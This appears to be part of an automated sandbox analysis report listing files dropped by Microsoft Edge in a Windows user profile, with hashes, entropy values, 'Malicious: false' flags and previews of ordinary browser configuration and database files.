Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376270186197673","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376270186197673","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\29e3d9d1-aa2d-4a79-9029-a297a551619a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554589912962316
Encrypted:	false
SSDEEP:	768:GISg7s7pLGLpU2WPYSf/g8F1+UoAYDCx9Tuqh0VfUC9xbog/OVU285vrwTWX2qKY:GISg7QcpU2WPYSf/gu1ja5F5cTWXzQty
MD5:	A4358D54121CC3BB6528DDEDD22E07D4
SHA1:	D38828E6E5CF04BDE967024AACD70A52332A3878
SHA-256:	DCFDADF99F564176871CFB99EC532E1D0FB4100947BC86AD29811B1AC0EB6BA6
SHA-512:	85A1C10133143B1AF3CD582824D690586BE06213FA14037C08ADB41CBD9A8E0367BA57B20C53EA5D87E8A77454AA68CE556D2993C4D62EC47A166D2665D9EAF8
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376270186197673","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376270186197673","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\51d58e12-f1e4-4bff-a33b-f25476a5ce39.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\52cddfc5-25ff-4a0d-96fe-52dcfd25424e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6f49941e-d3da-4271-8d7b-949caa2a994b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17530), with no line terminators
Category:	dropped
Size (bytes):	17537
Entropy (8bit):	5.492734483377659
Encrypted:	false
SSDEEP:	384:stsPGQSu4Xsc/fhdOgp1yt88l4GbGcQw06WUlaTYB:siOXuE/fc88ljbGbTaaTYB
MD5:	A78D77D2411724031FB90FEA43AAF974
SHA1:	D59303CAE74D836E3935024CD6A98ADE069ACC16
SHA-256:	4886D35EF8579799B7EBC05B914B7A8E14655298C257B153E8BDD49BA9903908
SHA-512:	4A62E6575BDAFBBAD4AF35AEA8C88EA347FF936A22884FFF382EF66E81C0B73A698A07A7E83058A26E8D9F8B2C450BDD32B89A7B2AFA0EED32386E88052FD870
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376270186806377","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\95b7d8d1-1d0a-4082-ad18-1747d5572068.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16772), with no line terminators
Category:	dropped
Size (bytes):	16779
Entropy (8bit):	5.454760231937485
Encrypted:	false
SSDEEP:	384:stsPGQSu4Xsc/fhqgp1yt88l4GbGcQw06WwaTYB:siOXuE/fS88ljbGbTEaTYB
MD5:	6538F052A3BE73616781E8145AC29D8C
SHA1:	52F3783C44161FBD30F342C9B0DC0A7A1DC79D4B
SHA-256:	DDCBECAF7908B4AB4B3F8B318AB524DD3E68090AD56D54D2F6C855D6D842A70E
SHA-512:	09FAE9BEFCD13BAEB2EB8247988BBC4367D422ADCAA339EBB7E434FBD7875FC43B7FB975B0F69D608D926AAF692F21954DE1A494F5133FF58A01B22CFEC547A8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376270186806377","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.262928113637872
Encrypted:	false
SSDEEP:	6:HUJ4T9SAB1923oH+Tcwtp3hBtB2KLlVUJ4Ti9+q2P923oH+Tcwtp3hBWsIFUv:nT9zMYebp3dFLvTi4v4Yebp3eFUv
MD5:	54E2412A2AF69E241925469BD8B41F0A
SHA1:	B26860E0BF6F444810F23D1DB84D38FA445A8DCE
SHA-256:	752004C5DAABE273A2F516AA53043779EBF1F7682A32A8F8D3B979B0371F59FD
SHA-512:	2FF28E93FBFE134ABB3013DF85477FCC38437E1CB0ABD26C2B57CA180AB8008922684350EE0E7E6B5B95CD9FC918FF791299558D5FE2210CC3D947A3A5F2ECE4
Malicious:	false
Preview:	2024/11/16-17:36:30.629 1d28 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/16-17:36:30.693 1d28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222878854711043
Encrypted:	false
SSDEEP:	24576:v+/PN8FmfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN80fx2mjF
MD5:	870E3B19C3C74C8DCDC76288B913FD19
SHA1:	07B79632BD1F06F67098D430AEB6BC7A5A273B0E
SHA-256:	60069F3595DABB29139E0AF96D5E82590E0BBA5510DD03F88B3909985F4F4C60
SHA-512:	87E8B5328B6C93B3E91FB7CB74B1FDE7D0FC5F2E7312ECB947D7D69385B49C0138FCC0ADD93CA3DA2E7F21068E57E93C6FBB22499838573F8462F1F139FC1584
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.152269427412844
Encrypted:	false
SSDEEP:	6:HUJ4EcM+q2P923oH+Tcwt9Eh1tIFUt8YUJ4EjZmw+YUJ4lMVkwO923oH+Tcwt9Er:nJM+v4Yeb9Eh16FUt8MY/+MlMV5LYebY
MD5:	E5D6F5C2192F6363C8A4629CDEE30904
SHA1:	FFA96B62FB1D33EBE6A22DEC7232B07033F37BAF
SHA-256:	E2B9C1997BB6C46B07C76C1B8363F3ABDEAF163FE64A3A1C3E3581B480EEB8E3
SHA-512:	E11C831967401DC78320C2468D7E8072D6903ADF9652765043BCBD302E1CA1CA52F1BE5E20A4BAF24DD8AC88CEB7542639C3631AD74B2CB5FD3C54C5501BBEA0
Malicious:	false
Preview:	2024/11/16-17:36:30.545 22fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/16-17:36:30.547 22fc Recovering log #3.2024/11/16-17:36:30.552 22fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.152269427412844
Encrypted:	false
SSDEEP:	6:HUJ4EcM+q2P923oH+Tcwt9Eh1tIFUt8YUJ4EjZmw+YUJ4lMVkwO923oH+Tcwt9Er:nJM+v4Yeb9Eh16FUt8MY/+MlMV5LYebY
MD5:	E5D6F5C2192F6363C8A4629CDEE30904
SHA1:	FFA96B62FB1D33EBE6A22DEC7232B07033F37BAF
SHA-256:	E2B9C1997BB6C46B07C76C1B8363F3ABDEAF163FE64A3A1C3E3581B480EEB8E3
SHA-512:	E11C831967401DC78320C2468D7E8072D6903ADF9652765043BCBD302E1CA1CA52F1BE5E20A4BAF24DD8AC88CEB7542639C3631AD74B2CB5FD3C54C5501BBEA0
Malicious:	false
Preview:	2024/11/16-17:36:30.545 22fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/16-17:36:30.547 22fc Recovering log #3.2024/11/16-17:36:30.552 22fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46270486462554655
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBupX:TouQq3qh7z3bY2LNW9WMcUvBupX
MD5:	9D4785BC3B9B8E70426ECFCE29EBDE1F
SHA1:	8B7709C3EA0ACBF8040207463A2373007C3F7492
SHA-256:	01BF94B935FC4462C1674183992ED12D517268B928D38E6691787D8189DBE143
SHA-512:	A1674277A920DD29AC90372E8D6132E4DDB1F6488DADA65030AA7C1A1F7897ECA16D1588F6E1CEFF2125E106CD092DDD41BBAA63A70603C5E6CF69DB36AF319A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.188000009479745
Encrypted:	false
SSDEEP:	6:HUJ8ZOq2P923oH+TcwtnG2tMsIFUt8YUJwAZmw+YUJlVFkwO923oH+TcwtnG2tM2:lOv4Yebn9GFUt8MA/+55LYebn95J
MD5:	489337A50DFD385FA19153BEE1F5528F
SHA1:	409AF8D87F384615A664A9795292C602281227B3
SHA-256:	AB990176EF5609C5A3ED5787FBD1DB6469F14864751D739410104E634D4E4D7A
SHA-512:	EE0156EF0B289F1AB96F7D50190CFF4A3340C42E3C4D89F8C9E7247558E1E7D2602C8155D71AC3DA839B8FEA87D9CBD4F8DBBA13D9E8502795DE9F3791AC739C
Malicious:	false
Preview:	2024/11/16-17:36:26.268 1d60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/16-17:36:26.269 1d60 Recovering log #3.2024/11/16-17:36:26.270 1d60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.188000009479745
Encrypted:	false
SSDEEP:	6:HUJ8ZOq2P923oH+TcwtnG2tMsIFUt8YUJwAZmw+YUJlVFkwO923oH+TcwtnG2tM2:lOv4Yebn9GFUt8MA/+55LYebn95J
MD5:	489337A50DFD385FA19153BEE1F5528F
SHA1:	409AF8D87F384615A664A9795292C602281227B3
SHA-256:	AB990176EF5609C5A3ED5787FBD1DB6469F14864751D739410104E634D4E4D7A
SHA-512:	EE0156EF0B289F1AB96F7D50190CFF4A3340C42E3C4D89F8C9E7247558E1E7D2602C8155D71AC3DA839B8FEA87D9CBD4F8DBBA13D9E8502795DE9F3791AC739C
Malicious:	false
Preview:	2024/11/16-17:36:26.268 1d60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/16-17:36:26.269 1d60 Recovering log #3.2024/11/16-17:36:26.270 1d60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6142669914979813
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWRMAqHWiZ7L:TLapR+DDNzWjJ0npnyXKUO8+jYpLmL
MD5:	C3A99A46FC477B4A17AD8240B7C26DB7
SHA1:	88042F7812D9B3BA3CD97BBC287319177B2534AC
SHA-256:	774756533052D701C5F2548C8BE9EF64A543F3B6C9C7CD558C8B47DF0AB78D26
SHA-512:	7AFEBA64F817C834530D0B5D8B32CD34DA13F40F3E4981A2929B5D7730C38257DC984F71BADA5AC3450BA2BC81A01892FCDF44FD92BFFAAE7F8A86EC6D5F25AC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354123785509081
Encrypted:	false
SSDEEP:	6144:3A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:3FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	35297C3F7E2FF1D3511B2B58ABF602B8
SHA1:	767DADDBE5FE5F05791B96DEEA0563497828E8F6
SHA-256:	4AC017C59D24EDE16BEDCE0DDF8DF3EE03A8A2E2B1C8633951C40F392DECA2D6
SHA-512:	00461E4CE35A2D2E9F152FC07921638CF6C36DC8493BA63007726DA153740C5E4823CA030F0FA50E91C1400BEFF32E9D83E1D823547BBB8DC1853BEAE2432C0D
Malicious:	false
Preview:	...m.................DB_VERSION.1D.Hq...............&QUERY_TIMESTAMP:domains_config_gz2...13376270192275455..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.182529158834759
Encrypted:	false
SSDEEP:	6:HUJ4LdFuM1923oH+Tcwtk2WwnvB2KLlVUJ4TIyq2P923oH+Tcwtk2WwnvIFUv:nLOhYebkxwnvFLvTtv4YebkxwnQFUv
MD5:	2F432B2533E22C9D5D928DBDC4590279
SHA1:	8147BDEFC62DDB20651656A6F3D62AC3D5D0AE63
